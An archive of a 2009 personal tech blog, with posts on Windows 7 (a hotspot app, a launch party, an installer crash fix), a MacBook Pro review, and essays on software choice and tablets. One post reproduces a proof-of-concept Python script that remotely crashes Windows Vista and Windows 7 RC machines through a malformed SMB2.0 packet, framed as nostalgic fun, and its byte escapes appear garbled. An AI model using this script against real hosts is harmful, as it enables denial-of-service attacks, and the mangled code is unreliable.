Connectify: Virtual WiFi Hotspot on Windows 7

 Lifestyle  9 Responses »
Nov 032009
 

This is something cool for all new Windows 7 owners. There was one feature in Windows 7 that did not make the cut, which was Virtual WiFi. This basically allows you to create virtual wireless adapters out of your single wireless LAN card. What does this mean to consumers? It’ll allow your wireless LAN card to BOTH connect to your WiFi internet connection AND share that internet connection as a WiFi hotspot all with just 1 single wireless LAN card. How awesome is that?

Sadly, this feature was left out from Windows 7. Fortunately, Connectify is an application that  takes your existing internet connection, be it your WiFi or 3G connection, and shares it easily as a wireless hotspot on your laptop.

Cool huh? Here’s the catch. It will only work on a Windows 7 laptop and make it a wireless hotspot. It doesn’t work on Windows XP or Vista. But any client, like a PSP or mobile phone or other computers, can connect to your hotspot!

Try it out! It’s in beta right now.

Connectify: Turn your Windows 7 laptop into a WiFi hotspot to share the Internet with friends, co-workers, and mobile devices.

 Posted by triplez at 09:30  Tagged with:

Windows 7 Social Party

 Communities, Personal, Technology  1 Response »
Oct 202009
 

Welcome to our Singapore’s very own Windows 7 Social Party. We have an exciting party in-stalled (har har! Lame pun.) for everyone in Singapore.

We have catered food. We have soft drinks. We have potluck from you. We have party music. We have games. We have Windows 7 Laptops waiting for you to try Windows 7 out. We have a spokesperson from Lenovo with 15 minutes to talk about their Windows 7 “Enhanced Experience”. We have a list of Windows 7 tips. We have lots of Windows 7 propaganda flyers. We have 5 Windows 7 t-shirts to give out! We have 1 Windows 7 Professional, and 1 Windows 7 Ultimate to give out! We might even have more prizes to give out!

So what are you waiting for? RSVP and join us at this awesome party! Remember to bring your name cards!

Venue: Microsoft, NTUC Building, Level 22, One Marina Boulevard
Date & Time: Saturday, October 24, 2pm to 5pm

 Posted by triplez at 09:30  Tagged with: ,

Good times again with Remote BSOD

 Security  2 Responses »
Sep 092009
 

Remember the good old days when you’re able to teardrop someone who was on Windows 3.1, Windows 95 or Windows NT and send a BSOD to their computer? Well, I do. Now, for the limited time offer only, we are able to relive this experience once again until Microsoft releases a security patch. This affects all Windows Vista, Windows 7, and possibly Windows Server 2008 and Windows Server 2008 R2. Let’s hope they do release a security patch before Windows 7 officially launches.

Here’s the proof of concept. I’m going to keep a copy here just in case.

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"x00x00x00x90" # Begin SMB header: Session message
"xffx53x4dx42" # Server Component: SMB
"x72x00x00x00" # Negociate Protocol
"x00x18x53xc8" # Operation 0x18 & sub 0xc853
"x00x26"# Process ID High: --> :) normal value should be "x00x00"
"x00x00x00x00x00x00x00x00x00x00xffxffxffxfe"
"x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54"
"x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31"
"x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00"
"x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57"
"x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61"
"x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c"
"x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c"
"x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e"
"x30x30x32x00"

)
s = socket()

s.connect(host)
s.send(buff)
s.close()

To stop your computer from BSOD for now, try disabling SMB 2.0. We might even see some script kiddie come up with a simple teardrop application to BSOD your computer.

Ah! The good old days again.

== Update ==

Windows 7 RTM and Windows Server 2008 R2 are already patched and fixed. This exploit only works on Windows Vista and Windows Server 2008, and Windows 7 RC.

Original Post: Microsoft Security Advisory 975497 Released

== End Update ==

Original Post: Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

 Posted by triplez at 00:48  Tagged with: , , , , , , , , , , ,

Design for Persuasion: A technological view

 Personal  No Responses »
Aug 252009
 

This is a very interesting article I read yesterday. Using psychology to design for persuasion. One section that got me thinking was “The paradox of choice”.

The Opensource Initiative and the Free Software Foundation advocates the freedom of choice and competition within the technological world, among the freedom to share, study and modify software. With the various flavours and distributions of Linux, is this one of the reasons limiting the capabilities and adoption rate of Linux?

From the article, Dr Barry Schwartz identifies that people do not cope well with too many choices, which will lead to paralysis of making a choice. I personally feel this might be true to many people who wants to adopt Linux, but has too many choices to choose from. Even after choosing a distribution, the user has to choose between the various desktop managers, from Gnome or KDE to XFCE or Enlightenment. Not only that, the user has so many packages to choose from that might or might not work with the chosen desktop manager that the user chose. It forces the user to do his research and does a best guess which is suitable for the user’s needs. This in turn might cause the user to end up “less satisfied” with his choice, and in fact a bad impression of Linux. Schwartz then concludes that choices makes us miserable.

But having said that, providing only 1 choice restricts the decision of the user to one and only one way to go, having the user’s choice been decided for. This prevents empowering the user to make his own decision. For business people, empowerment is important in order to promote creativity and growth. This is what Apple does for their Mac OS X. The user has only one decision to make, to buy or not to buy. Furthermore, it provides everything the user needs out of the box, with the preconception of “it just works” mentality. I agree that this simplifies everything into a white box (or aluminium), but the user will not be able to feel any personal belonging and attachment to the product. The user will not want to participate in criticising or improving the product itself, leaving it all to the “master designer” to make all choices for them simply because they didn’t have a choice in the first place, being a “sheep”. Should there be any usability issues that arise, the user tends to just forgive the “master designer” without much thought. To me, this constricts improvement, creativity, growth, and development of the product, without gaining any actual feedback from the users.

The optimal approach seems to be a partial control over the choices the user has to make. Allowing the user a limited manageable number of choices in order to allow the user to process it easily without going through too much pain. This is where Microsoft should learn and create a balance for Windows. I suggest they should only provide 3 versions to consumers. Home (Premium), Business (Enterprise) and Everything (Ultimate), with the choice of adding or removing “certain” features on demand. There is clear cut focus edition for each of their target audience. Home edition targeted to their normal home users, Business edition targeted to their business users, and Everything edition targeted to their power users. They should segment it so that there is choice for the each individual user, without the regret or frustration of getting a “less superior” version. Of course, by identifying with these 3 focused target markets, Microsoft can then design the usability based on their target markets. Home edition will have the “it just works” mentality, visually appealing aesthetic design, and rich media capabilities; Business edition will have more business-oriented features like encryption, enterprise backup and control, and advanced network capabilities; Naturally, the Everything edition will have the flexibility and control given to the power users. You partially control what the user will make, yet still provide the choice of an Everything edition should your normal home users or business users require that additional control.

I’m not saying that many choices are bad, nor am I saying that having 1 choice is bad. But I would like to put the thought to you that having limited choices allows you to focus your resources on your target audience, allowing you to design similar yet individually unique experiences to different audiences thus answering the question “Could they do what I wanted them to do?” Buying without confusions, but with clear and easily consumable choices.

What do you think?

 Posted by triplez at 17:05  Tagged with: , , , ,

Windows 7 Training Kit For Developers

 Development  No Responses »
Aug 182009
 

The Windows 7 Training Kit for Developers includes presentations, hands-on labs, and demos designed to help you learn how to build applications that are compatible with and shine on Windows 7 by utilizing key Windows 7 features such as:

  • Taskbar
  • Libraries
  • Multi Touch
  • Sensors and Location
  • Ribbon
  • Trigger Start Services
  • Instrumentation and ETW
  • Application Compatability
And Application Compatibility topics such as:
  • Version Checking
  • UAC Data Redirection
  • Session 0 Isolation
  • Installer Detection
  • User Interface Privilege Isolation
  • High DPI

I’m just waiting for someone to implement Apple’s multi-touch trackpad gestures on Windows 7.

Download Link: Windows 7 Training Kit for Developers

The Windows 7 Training Kit for Developers includes presentations, hands-on labs, and demos designed to help you learn how to build applications that are compatible with and shine on Windowsrhe
 Posted by triplez at 14:17  Tagged with: ,

I love you, MacBook Pro: After 2 months

 Articles, Lifestyle, Technology  5 Responses »
Aug 172009
 

After the keynote at the World Wide Developer Conference (WWDC) 2009 on June 8 when they announced the 13” MacBook Pro, I decided to take the plunge and buy it. For almost 2 weeks I stalked various Apple fan sites, like macrumors, to find out what I’m actually getting myself into. There were various problems I was concerned about. For example, the SATA II was capped at 1.5 Gbps, which a firmware patch was released several weeks later, and some screen models weren’t as good as others, the glossy screen, etc.

I finally bought the 13” MacBook Pro, 2.53GHz with an 8gig RAM upgrade. I’ve used it for more than 2 months and here are my thoughts on it. I’m splitting this post into 2 parts, where I’ll talk about what I like in this post, and what I dislike in the next post.

I love you, MacBook Pro

One of the things I really love is the hardware itself. The unibody case is very well crafted together with the screen. The aluminium gives it a very nice touch and feel to it, although be very careful if there are power leaks. My MacBook Pro had a power leak once and got pretty feisty because of the aluminium casing. For those who know me personally, I have the tendency to caress this marvellous piece of craftsmanship very lovingly.

The screen is brightly lit with LED backlit, displaying great graphics and clear images. Even though the screen is glossy and reflective, I don’t really have any problems with the reflection as I initially thought I might have. I like the glass panel protecting the screen although it adds a little weight to the overall laptop.

The multi-touch trackpad is a pleasure to use, with various multi-touch gestures that are inbuilt into the operating system. For example, I love the 2 finger scroll up/down gesture; the 3 finger back/forth gesture; the 4 finger swipe up/down for expose and swipe left/right to switch applications. It is well integrated into the operating system and works on most applications which really makes the experience all the more complete.

The keyboard feel is not too stiff and not to deep to type. It isn’t stiff and clickity like some keyboards out there. It has a different feeling from my usual Thinkpad keyboards, but I like this new MacBook Pro style of keyboard. The backlight on the keyboard is a refreshing change from the slowly deteriorating ThinkLight technology.

The new non-removable battery is exactly as what Apple proclaims, of much better quality. Although I can only get less than 3-4 hours with my virtual machine turned on, and a little more than 5-6 hours with my normal applications running, it is more than satisfactory as opposed to my previous Thinkpad. It’s been 2 months, yet I’ve been able to get consistently 96-98% full battery charge, which is pretty good. The battery usually gets reduced to 93-95% or less after 2 months of my normal usage on previous laptops. Just a refresh of the battery usually brings the maximum battery charge back a little higher. I’m very impressed with the quality of the battery, and what Apple has done to make it robust and last for quite some time. To get almost all the information you need regarding your battery, download coconutBattery. The maximum capacity for this battery is 5450 mAh and my current maximum charge is 5300 mAH with about 60 charges.

One of the greatest features I love on the Mac OS X is Spaces. Now I can’t live without Spaces. I assign different Space for different uses. Space 1 contains my web browser, which is mainly what I use, and various other activities like QuickTime for watching movies, and listening to music. It is my main workspace. Space 2 contains my various communication avenues, like twitter, IRC chat, instant messengers, etc. Space 3 contains my news reader and various news related applications. This is the workspace where I just sit back and relax, reading my news for a few minutes before I get back to work. Space 4 contains my Windows 7 virtual machine, which I use for coding, and other Windows related activities. I love this ability to compartmentalise my life into different spaces to manage my tech lifestyle. There are many applications out there that allows virtual desktops on Windows 7, but I haven’t really found anything that’s nice. If you do, leave a comment.

Spotlight is another really great tool that I find really useful to load up applications and search for various information related to your search criteria. Windows 7 has the feature too, but it isn’t as powerful as Spotlight. One things that Spotlight wins over Windows 7’s search implementation is it has it’s own dictionary application which is able to search for the definition of a certain word. That, my friend, is the most useful feature I’ve ever come across, especially when writing articles, emails, documents, or just chatting with friends. You are also able to use it as a calculator just to do quick calculations. There are applications that offer this feature too, like Skylight and Launchy, but it’s either too resource intensive or just isn’t as clean and good as Spotlight.

But I think the best feature, which I’m sure everyone would agree, is the speed it takes to sleep and resume from sleep. To me, it is an amazing experience to be able to open your MacBook Pro and just able to use it within 2-5 seconds, as opposed to Windows 7 which takes a fair amount of time to wake up for its sleep. Putting it to sleep is really a pleasure, especially when you’re in a hurry to go somewhere. Although it is great, but it didn’t fully sleep for just once, which made the MacBook Pro extremely hot. I had to turn it shut it down manually in order not to let it overheat any longer.

Although there are many features on both the MacBook Pro, hardware-wise, and the Mac OS X, software-wise, that I like, I have many complaints about it. There is a love-hate relationship between my MacBook Pro and myself.

Stay tuned for Part 2 when I discuss the bad and the ugly of both the MacBook Pro and Mac OS X.

Disclaimer: These are my own opinions, and do not represent anyone, any organization or any company’s opinions.

 Posted by triplez at 06:33  Tagged with: , , ,

Linux Sucks! Video from LinuxFest NW

 Development, Lifestyle, Presentations  No Responses »
Aug 172009
 

Bryan Lunduke did a great presentation why Linux sucks, and taking a very pragmatic approach to describing specifically and what steps Linux should take to fix them. I’m so impressed with this presentation that I might just do a “Mac OS Sucks!” or “Windows 7 Sucks!” presentation on the same, hopefully non-threatening, approach. Anyway, here’s the video. Enjoy!

Original Post: http://lunduke.com/?p=429

 Posted by triplez at 06:33  Tagged with: , ,

65Bits Episode 130

 Technology  No Responses »
Aug 122009
 

Finally episode 130 is out. We recorded this episode with my new H2 voice recorder. Sounds pretty good doesn’t it?

Check it out!

65Bits Episode 130

 Posted by triplez at 01:20  Tagged with: , , , , , ,

MSIEXEC Failure on Windows 7

 Lifestyle  No Responses »
Jan 192009
 

Some of you might be getting crashes from your installers. Here’s what the error looks like in your event logs:

Faulting application name: msiexec.exe, version: 5.0.7000.0, time stamp: 0×49432105
Faulting module name: ntdll.dll, version: 6.1.7000.0, time stamp: 0×49434898
Exception code: 0xc0000005
Fault offset: 0x00000000000ebbaa
Faulting process id: 0x12dc
Faulting application start time: 0x01c979f516ed5e4e
Faulting application path: C:WindowsSystem32msiexec.exe
Faulting module path: C:WindowsSYSTEM32ntdll.dll

This happens whenever you try to install anything that uses msiexec.exe on Windows 7. The workaround is to do a simple registry edit.

HKLMSoftwareMicrosoftSQMClientWindowsDisabledSessions

Remove all entries except default.

Don’t ask me why that works, but it works. I’m back to installing things. It seems people are having this problem just recently. Hope this helps anyone having this problem.

 Posted by triplez at 05:40  Tagged with: ,

Slate Tablet PCs will be back

 User Experience  No Responses »
Jan 072009
 

With the advent of multi-touch capabilities, and the iPhone popularizing this capability, together with Windows 7 having multi-touch capabilities in-built to the operating system itself, I will expect slate tablets (i.e. no keyboards, just screen) to be back, better than before. For those who have forgotten, slate tablets died out long ago in preference for the convertible tablets (i.e. keyboard and screen).

To get into the market, it first has to be light enough, and a screen wide enough to be comfortable. Together with a “Slate Stand” for desktop usage, this will enhance multi-touch on the desktop itself. We now are seeing laptops so slim (1 inch thick) and so light (2 lbs) with screen sizes of 13.1” or larger, I predict that this will be the critical factors in bringing back the slate tablets.

If somehow, someone is able to integrate a “Slate Stand” as part of the tablet design, that will be awesome.

Imagine a “Slate Stand” being a supporting stand to tilt the tablet in a 20 to 40 degrees angle (adjustable of course) for easy touch screen experience. I’m thinking just a fold under the laptop which can increase and decrease the degree angle as the fold gets closer together. Imagine this: / :underneath your laptop, and flattening out: —— :when you don’t need it.

Together with full size keyboard which will “slide in and out” virtually on the screen with a flick of a button (or gesture, or on some text input) and each key is big enough for our fingers, I think we’ve got something pretty good going on here.

Re-engineering applications’ user interactions to make full use of multi-touch, and we have endless possibilities. Hey, that’s what WPF is for. *wink*

Let’s hope to see it out there soon!

 Posted by triplez at 07:03  Tagged with: ,
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